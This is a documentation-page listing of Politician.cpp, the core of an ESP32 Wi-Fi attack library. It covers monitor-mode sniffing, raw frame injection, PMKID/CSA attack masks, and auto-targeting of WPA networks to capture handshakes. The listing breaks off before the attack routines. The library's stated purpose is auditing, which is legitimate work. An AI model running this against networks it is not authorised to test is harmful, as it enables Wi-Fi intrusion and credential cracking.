Politician 1.0.0
WiFi Auditing Library for ESP32
Loading...
Searching...
No Matches
Politician.cpp
Go to the documentation of this file.
1#include "Politician.h"
2#include <string.h>
3#include <esp_log.h>
4
5#ifndef POLITICIAN_NO_DB
7#endif
8
9namespace politician {
10
11// ─── Static members ───────────────────────────────────────────────────────────
12Politician *Politician::_instance = nullptr;
13
14// Default 2.4GHz hopping sequence (channels 1-13)
15const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13};
16const uint8_t Politician::HOP_COUNT = sizeof(HOP_SEQ) / sizeof(HOP_SEQ[0]);
17
18// 5GHz channel helper - common channels in most regulatory domains
19static const uint8_t CHANNEL_5GHZ_COMMON[] = {
20 36, 40, 44, 48, // Band 1 (5.15-5.25 GHz) - Universally allowed
21 149, 153, 157, 161, 165 // Band 4 (5.73-5.85 GHz) - UNII-3, widely allowed
22};
23
24// Helper function to check if channel is valid
25static bool isValidChannel(uint8_t ch) {
26 // 2.4GHz channels (1-14)
27 if (ch >= 1 && ch <= 14) return true;
28
29 // 5GHz channels - check common channels
30 for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON); i++) {
31 if (ch == CHANNEL_5GHZ_COMMON[i]) return true;
32 }
33
34 // Additional 5GHz channels (52-144, DFS bands - use with caution)
35 if ((ch >= 52 && ch <= 64) || (ch >= 100 && ch <= 144)) return true;
36
37 return false;
38}
39
40// ─── Constructor ──────────────────────────────────────────────────────────────
42 : _active(false), _channel(1), _rxChannel(1), _hopping(false), _channelTrafficSeen(false),
43 _lastHopMs(0), _lastRssi(0), _hopIndex(0),
44 _m1Locked(false), _m1LockEndMs(0),
45 _probeLocked(false), _probeLockEndMs(0),
46 _customChannelCount(0),
47 _eapolCb(nullptr), _apFoundCb(nullptr), _filterCb(nullptr),
48 _logCb(nullptr), _attackResultCb(nullptr), _ignoreCount(0),
49 _fishState(FISH_IDLE), _fishStartMs(0), _fishRetry(0),
50 _fishSsidLen(0), _fishChannel(1),
51 _fishAuthLogged(false), _fishAssocLogged(false),
52 _csaSecondBurstSent(false),
53 _attackMask(ATTACK_ALL), _disconnectStrategy(STRATEGY_AUTO_FALLBACK), _csaFallbackMs(0),
54 _hasTarget(false), _targetChannel(1),
55 _capturedCount(0)
56{
57 _instance = this;
58 memset(&_stats, 0, sizeof(_stats));
59 memset(_attackOverrides, 0, sizeof(_attackOverrides));
60 memset(_injectQueue, 0, sizeof(_injectQueue));
61 memset(_sessions, 0, sizeof(_sessions));
62 memset(_apCache, 0, sizeof(_apCache));
63 memset(_captured, 0, sizeof(_captured));
64 memset(_targetBssid, 0, sizeof(_targetBssid));
65 memset(_fishBssid, 0, sizeof(_fishBssid));
66 memset(_fishSsid, 0, sizeof(_fishSsid));
67 memset(_ownStaMac, 0, sizeof(_ownStaMac));
68 memset(_ignoreList, 0, sizeof(_ignoreList));
69}
70
71// ─── Logging ─────────────────────────────────────────────────────────────────
72void Politician::_log(const char *fmt, ...) {
73#ifndef POLITICIAN_NO_LOGGING
74 char buf[256];
75 va_list args;
76 va_start(args, fmt);
77 vsnprintf(buf, sizeof(buf), fmt, args);
78 va_end(args);
79
80 if (_logCb) {
81 _logCb(buf);
82 } else {
83 printf("%s", buf);
84 }
85#endif
86}
87
88// ─── begin() ─────────────────────────────────────────────────────────────────
90 _cfg = cfg;
91 wifi_init_config_t wifi_cfg = WIFI_INIT_CONFIG_DEFAULT();
92 if (esp_wifi_init(&wifi_cfg) != ESP_OK) return ERR_WIFI_INIT;
93 if (esp_wifi_set_storage(WIFI_STORAGE_RAM) != ESP_OK) return ERR_WIFI_INIT;
94
95 if (esp_wifi_set_mode(WIFI_MODE_APSTA) != ESP_OK) return ERR_WIFI_INIT;
96
97 wifi_config_t ap_cfg = {};
98 const char *ap_ssid = "WiFighter";
99 memcpy(ap_cfg.ap.ssid, ap_ssid, strlen(ap_ssid));
100 ap_cfg.ap.ssid_len = (uint8_t)strlen(ap_ssid);
101 ap_cfg.ap.ssid_hidden = 1;
102 ap_cfg.ap.max_connection = 4;
103 ap_cfg.ap.authmode = WIFI_AUTH_OPEN;
104 ap_cfg.ap.channel = 1;
105 ap_cfg.ap.beacon_interval = 1000;
106 if (esp_wifi_set_config(WIFI_IF_AP, &ap_cfg) != ESP_OK) return ERR_WIFI_INIT;
107
108 if (esp_wifi_start() != ESP_OK) return ERR_WIFI_INIT;
109
110 esp_wifi_get_mac(WIFI_IF_STA, _ownStaMac);
111 _log("[WiFi] STA MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
112 _ownStaMac[0], _ownStaMac[1], _ownStaMac[2],
113 _ownStaMac[3], _ownStaMac[4], _ownStaMac[5]);
114
115 esp_log_level_set("wifi", ESP_LOG_NONE);
116
117 wifi_promiscuous_filter_t filt = {
118 .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA
119 };
120 if (esp_wifi_set_promiscuous_filter(&filt) != ESP_OK) return ERR_WIFI_INIT;
121 if (esp_wifi_set_promiscuous(true) != ESP_OK) return ERR_WIFI_INIT;
122 if (esp_wifi_set_promiscuous_rx_cb(&_promiscuousCb) != ESP_OK) return ERR_WIFI_INIT;
123 if (esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE) != ESP_OK) return ERR_WIFI_INIT;
124
125 // Initialize Thread Safety
126 if (!_lock) {
127 _lock = xSemaphoreCreateRecursiveMutex();
128 if (!_lock) return ERR_WIFI_INIT;
129 }
130
131 // Initialize Async Processing Core (Ringbuffer + Task)
132 if (!_rb) {
133 _rb = xRingbufferCreate(16384, RINGBUF_TYPE_NOSPLIT);
134 if (!_rb) return ERR_WIFI_INIT;
135 }
136
137 if (!_task) {
138 xTaskCreatePinnedToCore(_workerTask, "pol_worker", 4096, this, 5, &_task, 0);
139 if (!_task) return ERR_WIFI_INIT;
140 }
141
142 _initialized = true;
143 _log("[WiFi] Ready — monitor mode ch%d\n", _channel);
144 return OK;
145}
146
147// ─── Active gate ──────────────────────────────────────────────────────────────
148void Politician::setActive(bool active) {
149 if (!_initialized) return;
150 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
151 _active = active;
152 xSemaphoreGiveRecursive(_lock);
153 }
154 _log("[WiFi] Capture %s\n", active ? "ACTIVE" : "IDLE");
155}
156
157// ─── Channel control ──────────────────────────────────────────────────────────
159 if (!_initialized) return ERR_NOT_ACTIVE;
160 if (!isValidChannel(ch)) return ERR_INVALID_CH;
161 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
162 _channel = ch;
163 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
164 xSemaphoreGiveRecursive(_lock);
165 }
166 return OK;
167}
168
170 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
171 _hopping = false;
172 xSemaphoreGiveRecursive(_lock);
173 }
174 return setChannel(ch);
175}
176
177void Politician::setIgnoreList(const uint8_t (*bssids)[6], uint8_t count) {
178 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
179 _ignoreCount = (count > MAX_IGNORE) ? MAX_IGNORE : count;
180 for (uint8_t i = 0; i < _ignoreCount; i++) {
181 memcpy(_ignoreList[i], bssids[i], 6);
182 }
183 xSemaphoreGiveRecursive(_lock);
184 }
185 _log("[WiFi] Ignore list updated: %d BSSIDs\n", count);
186}
187
189 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
190 _capturedCount = 0;
191 xSemaphoreGiveRecursive(_lock);
192 }
193 _log("[WiFi] Captured list cleared\n");
194}
195
196void Politician::markCaptured(const uint8_t *bssid) {
197 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
198 _markCaptured(bssid);
199 xSemaphoreGiveRecursive(_lock);
200 }
201}
202
203void Politician::startHopping(uint16_t dwellMs) {
204 if (!_initialized) return;
205 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
206 _hopping = true;
207 _active = true;
208 _hopIndex = 0;
209 _lastHopMs = millis();
210 _channelTrafficSeen = false;
211 if (dwellMs > 0) _cfg.hop_dwell_ms = dwellMs;
212 xSemaphoreGiveRecursive(_lock);
213 }
214 _log("[WiFi] Hopping started dwell=%dms (smart=%s)\n", _cfg.hop_dwell_ms, _cfg.smart_hopping ? "on" : "off");
215}
216
218 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
219 _hopping = false;
220 xSemaphoreGiveRecursive(_lock);
221 }
222}
223
225 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
226 if (_fishState != FISH_IDLE) {
227 esp_wifi_disconnect();
228 _fishState = FISH_IDLE;
229 }
230 _hopping = false;
231 _hasTarget = false;
232 _autoTarget = false;
233 _autoTargetActive = false;
234 _m1Locked = false;
235 _probeLocked = false;
236 _active = false;
237 xSemaphoreGiveRecursive(_lock);
238 }
239 _log("[WiFi] Engine stopped\n");
240}
241
242// ─── Attack mask ──────────────────────────────────────────────────────────────
243void Politician::setAttackMask(uint8_t mask) {
244 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
245 _attackMask = mask;
246 xSemaphoreGiveRecursive(_lock);
247 }
248 _log("[WiFi] Attack mask: PMKID=%d CSA=%d PASSIVE=%d\n",
249 !!(mask & ATTACK_PMKID), !!(mask & ATTACK_CSA), !!(mask & ATTACK_PASSIVE));
250}
251
252void Politician::setAttackMaskForBssid(const uint8_t *bssid, uint8_t mask) {
253 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
254 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
255 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0) {
256 _attackOverrides[i].mask = mask;
257 xSemaphoreGiveRecursive(_lock);
258 return;
259 }
260 }
261 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
262 if (!_attackOverrides[i].active) {
263 _attackOverrides[i].active = true;
264 memcpy(_attackOverrides[i].bssid, bssid, 6);
265 _attackOverrides[i].mask = mask;
266 xSemaphoreGiveRecursive(_lock);
267 return;
268 }
269 }
270 xSemaphoreGiveRecursive(_lock);
271 }
272 _log("[Attack] Override table full — ignoring per-BSSID mask request\n");
273}
274
276 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
277 memset(_attackOverrides, 0, sizeof(_attackOverrides));
278 xSemaphoreGiveRecursive(_lock);
279 }
280}
281
282uint8_t Politician::_getAttackMask(const uint8_t *bssid) const {
283 for (int i = 0; i < MAX_ATTACK_OVERRIDES; i++) {
284 if (_attackOverrides[i].active && memcmp(_attackOverrides[i].bssid, bssid, 6) == 0)
285 return _attackOverrides[i].mask;
286 }
287 return _attackMask;
288}
289
290// ─── Target mode ──────────────────────────────────────────────────────────────
291Error Politician::setTarget(const uint8_t *bssid, uint8_t channel) {
292 if (!_initialized) return ERR_NOT_ACTIVE;
293 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
294
295 if (_isCaptured(bssid)) {
296 xSemaphoreGiveRecursive(_lock);
298 }
299
300 memcpy(_targetBssid, bssid, 6);
301 _targetChannel = channel;
302 _hasTarget = true;
303
304 for (int i = 0; i < MAX_AP_CACHE; i++) {
305 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
306 _apCache[i].last_probe_ms = 0;
307 break;
308 }
309 }
310
311 _hopping = false;
312 _active = true;
313 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
314 _channel = channel;
315 _rxChannel = channel;
316 _log("[WiFi] Target → %02X:%02X:%02X:%02X:%02X:%02X ch%d\n",
317 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], channel);
318
319 xSemaphoreGiveRecursive(_lock);
320 return OK;
321}
322
324 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
325 _hasTarget = false;
326 memset(_targetBssid, 0, 6);
327 xSemaphoreGiveRecursive(_lock);
328 }
329 _log("[WiFi] Target cleared — wardriving mode\n");
330}
331
332Error Politician::injectCustomFrame(const uint8_t *payload, size_t len, uint8_t channel, uint32_t lock_ms, bool wait_for_channel) {
333 if (!_initialized) return ERR_NOT_ACTIVE;
334 if (len > 256) return ERR_WIFI_INIT; // Invalid length for queue
335
336 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(200)) != pdTRUE) return ERR_WIFI_INIT;
337
338 if (!wait_for_channel) {
339 // Synchronous injection
340 esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
341 _channel = channel;
342 _rxChannel = channel;
343 _lastHopMs = millis();
344 esp_wifi_80211_tx(WIFI_IF_STA, (void*)payload, len, false);
345 _log("[Inject] Transmitted %d bytes on ch%d\n", (int)len, channel);
346 if (lock_ms > 0) {
347 // Temporarily lock the hopper for this duration
348 _m1Locked = true;
349 _m1LockEndMs = millis() + lock_ms;
350 }
351 } else {
352 // Asynchronous injection (queue)
353 bool queued = false;
354 for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
355 if (!_injectQueue[i].active) {
356 _injectQueue[i].active = true;
357 _injectQueue[i].channel = channel;
358 _injectQueue[i].len = len;
359 _injectQueue[i].lock_ms = lock_ms;
360 memcpy(_injectQueue[i].payload, payload, len);
361 queued = true;
362 _log("[Inject] Queued %d bytes for ch%d\n", (int)len, channel);
363 break;
364 }
365 }
366 if (!queued) {
367 xSemaphoreGiveRecursive(_lock);
368 return ERR_WIFI_INIT; // Queue full
369 }
370 }
371
372 xSemaphoreGiveRecursive(_lock);
373 return OK;
374}
375
376void Politician::setChannelList(const uint8_t *channels, uint8_t count) {
377 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
378 if (count == 0 || channels == nullptr) {
379 _customChannelCount = 0;
380 _hopIndex = 0;
381 xSemaphoreGiveRecursive(_lock);
382 _log("[WiFi] Channel list cleared — hopping all channels\n");
383 return;
384 }
385 _customChannelCount = 0;
386 for (uint8_t i = 0; i < count && i < POLITICIAN_MAX_CHANNELS; i++) {
387 if (isValidChannel(channels[i])) {
388 _customChannels[_customChannelCount++] = channels[i];
389 }
390 }
391 _hopIndex = 0;
392 xSemaphoreGiveRecursive(_lock);
393 }
394 _log("[WiFi] Channel list set: %d channels\n", _customChannelCount);
395}
396
397void Politician::setChannelBands(bool ghz24, bool ghz5) {
398 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
399 _customChannelCount = 0;
400 if (ghz24) {
401 for (uint8_t i = 0; i < HOP_COUNT && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
402 _customChannels[_customChannelCount++] = HOP_SEQ[i];
403 }
404 }
405 if (ghz5) {
406 for (uint8_t i = 0; i < sizeof(CHANNEL_5GHZ_COMMON) && _customChannelCount < POLITICIAN_MAX_CHANNELS; i++) {
407 _customChannels[_customChannelCount++] = CHANNEL_5GHZ_COMMON[i];
408 }
409 }
410 _hopIndex = 0;
411 xSemaphoreGiveRecursive(_lock);
412 }
413 if (_customChannelCount == 0) {
414 _log("[WiFi] setChannelBands: no bands selected — reverting to default 2.4GHz\n");
415 } else {
416 _log("[WiFi] Channel bands set: %d channels (2.4GHz=%d 5GHz=%d)\n",
417 _customChannelCount, (int)ghz24, (int)ghz5);
418 }
419}
420
422 if (!_initialized) return ERR_NOT_ACTIVE;
423 uint8_t ssid_len = (uint8_t)strlen(ssid);
424 int best = -1;
425 int8_t best_rssi = INT8_MIN;
426 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
427 for (int i = 0; i < MAX_AP_CACHE; i++) {
428 if (!_apCache[i].flags.active) continue;
429 if (_apCache[i].ssid_len != ssid_len) continue;
430 if (memcmp(_apCache[i].ssid, ssid, ssid_len) != 0) continue;
431 if (_apCache[i].rssi > best_rssi) {
432 best_rssi = _apCache[i].rssi;
433 best = i;
434 }
435 }
436 xSemaphoreGiveRecursive(_lock);
437 }
438 if (best == -1) return ERR_NOT_FOUND;
439 return setTarget(_apCache[best].bssid, _apCache[best].channel);
440}
441
442void Politician::setAutoTarget(bool enable) {
443 if (_lock && xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) == pdTRUE) {
444 _autoTarget = enable;
445 if (!enable) {
446 _hasTarget = false;
447 memset(_targetBssid, 0, 6);
448 _autoTargetActive = false;
449 }
450 xSemaphoreGiveRecursive(_lock);
451 }
452 _log("[AutoTarget] %s\n", enable ? "enabled" : "disabled");
453}
454
455void Politician::_recordClientForAp(const uint8_t *bssid, const uint8_t *sta, int8_t rssi) {
456 for (int i = 0; i < MAX_AP_CACHE; i++) {
457 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0) continue;
458 _apCache[i].flags.has_active_clients = true;
459 for (int j = 0; j < _apCache[i].known_sta_count; j++)
460 if (memcmp(_apCache[i].known_stas[j], sta, 6) == 0) return;
461 if (_apCache[i].known_sta_count < 4) {
462 memcpy(_apCache[i].known_stas[_apCache[i].known_sta_count++], sta, 6);
463 if (_clientFoundCb) _clientFoundCb(bssid, sta, rssi);
464 }
465 return;
466 }
467}
468
469void Politician::_sendProbeRequest(const uint8_t *bssid) {
470 uint8_t frame[36]; int p = 0;
471 frame[p++] = 0x40; frame[p++] = 0x00; // FC: Probe Request
472 frame[p++] = 0x00; frame[p++] = 0x00; // Duration
473 memcpy(frame + p, bssid, 6); p += 6; // DA (directed to AP)
474 memcpy(frame + p, _ownStaMac, 6); p += 6; // SA
475 memcpy(frame + p, bssid, 6); p += 6; // BSSID
476 frame[p++] = 0x00; frame[p++] = 0x00; // Seq
477 frame[p++] = 0x00; frame[p++] = 0x00; // SSID IE: wildcard (empty)
478 frame[p++] = 0x01; frame[p++] = 0x08; // Supported Rates IE
479 frame[p++] = 0x82; frame[p++] = 0x84; frame[p++] = 0x8b; frame[p++] = 0x96;
480 frame[p++] = 0x0c; frame[p++] = 0x12; frame[p++] = 0x18; frame[p++] = 0x24;
481 esp_wifi_80211_tx(WIFI_IF_STA, frame, p, false);
482 _log("[Probe] Directed probe to hidden AP %02X:%02X:%02X:%02X:%02X:%02X\n",
483 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
484}
485
486// ─── tick() ───────────────────────────────────────────────────────────────────
488 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(100)) != pdTRUE) return;
489
490 _processFishing();
491
492 static uint32_t lastDiagMs = 0;
493 uint32_t nowDiag = millis();
494 if (nowDiag - lastDiagMs >= 30000) {
495 lastDiagMs = nowDiag;
496 _log("[Stats] total=%lu mgmt=%lu data=%lu eapol=%lu pmkid=%lu sae=%lu caps=%lu fail_pmkid=%lu fail_csa=%lu drop=%lu rb_max=%lu aps=%d lock=%s\n",
497 (unsigned long)_stats.total, (unsigned long)_stats.mgmt,
498 (unsigned long)_stats.data, (unsigned long)_stats.eapol,
499 (unsigned long)_stats.pmkid_found, (unsigned long)_stats.sae_found,
500 (unsigned long)_stats.captures,
501 (unsigned long)_stats.failed_pmkid, (unsigned long)_stats.failed_csa,
502 (unsigned long)_stats.dropped, (unsigned long)_stats.rb_max,
503 getApCount(),
504 _probeLocked ? "probe" : _m1Locked ? "m1" : "none");
505 }
506
507 _expireSessions(_cfg.session_timeout_ms);
508
509 if (_cfg.ap_expiry_ms > 0) {
510 uint32_t now_ap = millis();
511 for (int i = 0; i < MAX_AP_CACHE; i++) {
512 if (_apCache[i].flags.active && (now_ap - _apCache[i].last_seen_ms) > _cfg.ap_expiry_ms)
513 _apCache[i].flags.active = false;
514 }
515 }
516
517 if (_autoTarget && !_autoTargetActive && _fishState == FISH_IDLE && !_probeLocked && !_m1Locked) {
518 int best = -1; int best_score = -9999;
519 for (int i = 0; i < MAX_AP_CACHE; i++) {
520 if (!_apCache[i].flags.active || _isCaptured(_apCache[i].bssid)) continue;
521 if (_cfg.skip_immune_networks && _apCache[i].flags.is_wpa3_only) continue;
522 if (_apCache[i].enc < 2) continue; // Skip open/WEP
523 if (_cfg.min_beacon_count > 0 && _apCache[i].beacon_count < _cfg.min_beacon_count) continue;
524 if (_cfg.require_active_clients && !_apCache[i].flags.has_active_clients) continue;
525
526 int score = _apCache[i].rssi;
527 if (_targetScoreCb) {
528 ApRecord ap_rec;
529 memcpy(ap_rec.bssid, _apCache[i].bssid, 6);
530 memcpy(ap_rec.ssid, _apCache[i].ssid, 33);
531 ap_rec.ssid_len = _apCache[i].ssid_len;
532 ap_rec.enc = _apCache[i].enc;
533 ap_rec.channel = _apCache[i].channel;
534 ap_rec.rssi = _apCache[i].rssi;
535 ap_rec.wps_enabled = _apCache[i].flags.wps_enabled;
536 ap_rec.pmf_capable = _apCache[i].flags.pmf_capable;
537 ap_rec.pmf_required = _apCache[i].flags.pmf_required;
538 ap_rec.total_attempts = _apCache[i].total_attempts;
539 ap_rec.captured = false; // already checked above
540 ap_rec.ft_capable = _apCache[i].flags.ft_capable;
541 ap_rec.first_seen_ms = _apCache[i].first_seen_ms;
542 ap_rec.last_seen_ms = _apCache[i].last_seen_ms;
543 memcpy(ap_rec.country, _apCache[i].country, 3);
544 ap_rec.beacon_interval = _apCache[i].beacon_interval;
545 ap_rec.max_rate_mbps = _apCache[i].max_rate_mbps;
546 ap_rec.is_hidden = _apCache[i].flags.is_hidden;
547 ap_rec.sta_count = _apCache[i].sta_count;
548 ap_rec.chan_util = _apCache[i].chan_util;
549
550 score = _targetScoreCb(ap_rec, getVendor(ap_rec.bssid));
551 }
552
553 if (score > best_score) { best_score = score; best = i; }
554 }
555 if (best >= 0) {
556 _autoTargetActive = true;
557 setTarget(_apCache[best].bssid, _apCache[best].channel);
558 _log("[AutoTarget] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%s rssi=%d score=%d\n",
559 _apCache[best].bssid[0], _apCache[best].bssid[1], _apCache[best].bssid[2],
560 _apCache[best].bssid[3], _apCache[best].bssid[4], _apCache[best].bssid[5],
561 _apCache[best].ssid, _apCache[best].rssi, best_score);
562 }
563 }
564
565 if (!_hopping) {
566 xSemaphoreGiveRecursive(_lock);
567 return;
568 }
569
570 uint32_t now = millis();
571
572 if (_probeLocked && _fishState == FISH_IDLE && now >= _probeLockEndMs) {
573 _probeLocked = false;
574 _lastHopMs = now;
575 }
576
577 if (_m1Locked && now >= _m1LockEndMs) {
578 _m1Locked = false;
579 _lastHopMs = now;
580 }
581
582 bool locked = _m1Locked || _probeLocked || _hasTarget;
583 uint32_t current_dwell = _cfg.hop_dwell_ms;
584 if (_cfg.smart_hopping && !locked) {
585 // Evaluate early exit or extended dwell
586 if (!_channelTrafficSeen && (now - _lastHopMs >= _cfg.hop_min_dwell_ms)) {
587 current_dwell = _cfg.hop_min_dwell_ms;
588 } else if (_channelTrafficSeen) {
589 current_dwell = _cfg.hop_max_dwell_ms;
590 }
591 }
592
593 if (!locked && (now - _lastHopMs >= current_dwell)) {
594 const uint8_t *seq = (_customChannelCount > 0) ? _customChannels : HOP_SEQ;
595 uint8_t count = (_customChannelCount > 0) ? _customChannelCount : HOP_COUNT;
596 _hopIndex = (_hopIndex + 1) % count;
597 _channel = seq[_hopIndex];
598 esp_wifi_set_channel(_channel, WIFI_SECOND_CHAN_NONE);
599 _lastHopMs = now;
600 _channelTrafficSeen = false;
601
602 // Process inject queue for the new channel
603 for (int i = 0; i < MAX_INJECT_QUEUE; i++) {
604 if (_injectQueue[i].active && _injectQueue[i].channel == _channel) {
605 esp_wifi_80211_tx(WIFI_IF_STA, (void*)_injectQueue[i].payload, _injectQueue[i].len, false);
606 _log("[Inject] Transmitted queued %d bytes on ch%d\n", _injectQueue[i].len, _channel);
607 _injectQueue[i].active = false;
608 if (_injectQueue[i].lock_ms > 0) {
609 _m1Locked = true;
610 _m1LockEndMs = millis() + _injectQueue[i].lock_ms;
611 }
612 }
613 }
614 }
615
616 xSemaphoreGiveRecursive(_lock);
617}
618
619// ─── Static promiscuous callback (IRAM) ──────────────────────────────────────
620void IRAM_ATTR Politician::_promiscuousCb(void *buf, wifi_promiscuous_pkt_type_t type) {
621 if (!_instance || !_instance->_active || !_instance->_rb) return;
622
623 const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
624 uint16_t total_len = sizeof(wifi_pkt_rx_ctrl_t) + pkt->rx_ctrl.sig_len;
625
626 // Send raw packet data to ringbuffer for async processing
627 if (xRingbufferSendFromISR(_instance->_rb, buf, total_len, NULL) != pdTRUE) {
628 _instance->_stats.dropped++;
629 }
630}
631
632void Politician::_workerTask(void *pvParameters) {
633 Politician *self = (Politician *)pvParameters;
634 while (true) {
635 size_t size = 0;
636 wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)xRingbufferReceive(self->_rb, &size, portMAX_DELAY);
637 if (pkt) {
638 // Infer frame type from 802.11 Frame Control field
639 uint16_t fc = pkt->payload[0] | (pkt->payload[1] << 8);
640 wifi_promiscuous_pkt_type_t type = WIFI_PKT_MGMT;
641 if ((fc & 0x0C) == 0x08) type = WIFI_PKT_DATA;
642 else if ((fc & 0x0C) == 0x04) type = WIFI_PKT_CTRL;
643
644 if (self->_lock && xSemaphoreTakeRecursive(self->_lock, portMAX_DELAY) == pdTRUE) {
645 // Monitor ringbuffer high-water mark
646 size_t free_rb = 0;
647 vRingbufferGetInfo(self->_rb, NULL, NULL, NULL, NULL, &free_rb);
648 uint32_t used_rb = 16384 - (uint32_t)free_rb;
649 if (used_rb > self->_stats.rb_max) self->_stats.rb_max = used_rb;
650
651 self->_handleFrame(pkt, type);
652 xSemaphoreGiveRecursive(self->_lock);
653 }
654 vRingbufferReturnItem(self->_rb, (void *)pkt);
655 }
656 }
657}
658
659void Politician::_handleFrame(const wifi_promiscuous_pkt_t *pkt, wifi_promiscuous_pkt_type_t type) {
660 if (!_active) return;
661 if (!pkt) return;
662 uint16_t sig_len = pkt->rx_ctrl.sig_len;
663 if (sig_len < sizeof(ieee80211_hdr_t)) return;
664
665 _stats.total++;
666 _lastRssi = (int8_t)pkt->rx_ctrl.rssi;
667 _rxChannel = pkt->rx_ctrl.channel;
668 if (_rxChannel >= 1 && _rxChannel <= 14) _stats.channel_frames[_rxChannel - 1]++;
669
670 const ieee80211_hdr_t *hdr = (const ieee80211_hdr_t *)pkt->payload;
671 uint16_t fc = hdr->frame_ctrl;
672 uint16_t ftype = fc & FC_TYPE_MASK;
673 uint8_t fsub = fc & FC_SUBTYPE_MASK;
674
675 // --- Packet Logging Filter Hook ---
676 if (_packetCb && _cfg.capture_filter != 0) {
677 bool log_it = false;
678 if (ftype == FC_TYPE_MGMT) {
679 if (fsub == MGMT_SUB_BEACON && (_cfg.capture_filter & LOG_FILTER_BEACONS)) log_it = true;
680 if ((fsub == MGMT_SUB_PROBE_REQ || fsub == MGMT_SUB_PROBE_RESP) && (_cfg.capture_filter & LOG_FILTER_PROBES)) log_it = true;
681 if (fsub == MGMT_SUB_PROBE_REQ && (_cfg.capture_filter & LOG_FILTER_PROBE_REQ)) log_it = true;
682 if ((fsub == MGMT_SUB_DEAUTH || fsub == MGMT_SUB_DISASSOC) && (_cfg.capture_filter & LOG_FILTER_MGMT_DISRUPT)) log_it = true;
683 } else if (ftype == FC_TYPE_DATA && (_cfg.capture_filter & LOG_FILTER_HANDSHAKES)) {
684 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
685 uint8_t subtype = fsub >> 4;
686 bool is_qos = (subtype >= 8 && subtype <= 11);
687 if (is_qos) {
688 hdr_len += 2;
689 if (fc & FC_ORDER_MASK) hdr_len += 4;
690 }
691 if (sig_len >= hdr_len + EAPOL_MIN_FRAME_LEN) {
692 const uint8_t *llc = pkt->payload + hdr_len;
693 if (llc[0] == 0xAA && llc[1] == 0xAA && llc[2] == 0x03 &&
694 llc[6] == EAPOL_ETHERTYPE_HI && llc[7] == EAPOL_ETHERTYPE_LO) {
695 log_it = true;
696 }
697 }
698 }
699 if (log_it) _packetCb(pkt->payload, sig_len, _lastRssi, _rxChannel, pkt->rx_ctrl.timestamp);
700 }
701 // ----------------------------------
702
703 if (type == WIFI_PKT_MGMT && ftype == FC_TYPE_MGMT) {
704 _stats.mgmt++;
705 uint16_t payload_off = sizeof(ieee80211_hdr_t);
706 if (sig_len > payload_off) {
707 _handleMgmt(hdr, pkt->payload + payload_off, sig_len - payload_off, _lastRssi);
708 }
709 } else if (type == WIFI_PKT_DATA && ftype == FC_TYPE_DATA) {
710 _stats.data++;
711 uint8_t subtype = (fc & FC_SUBTYPE_MASK) >> 4;
712 uint16_t hdr_len = sizeof(ieee80211_hdr_t);
713 bool is_qos = (subtype >= 8 && subtype <= 11);
714 if (is_qos) {
715 hdr_len += 2;
716 if (fc & FC_ORDER_MASK) hdr_len += 4;
717 }
718 if (sig_len > hdr_len) {
719 _handleData(hdr, pkt->payload + hdr_len, sig_len - hdr_len, _lastRssi);
720 }
721 } else {
722 _stats.ctrl++;
723 }
724}
725
726void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload,
727 uint16_t len, int8_t rssi) {
728 uint8_t subtype = (hdr->frame_ctrl & FC_SUBTYPE_MASK);
729
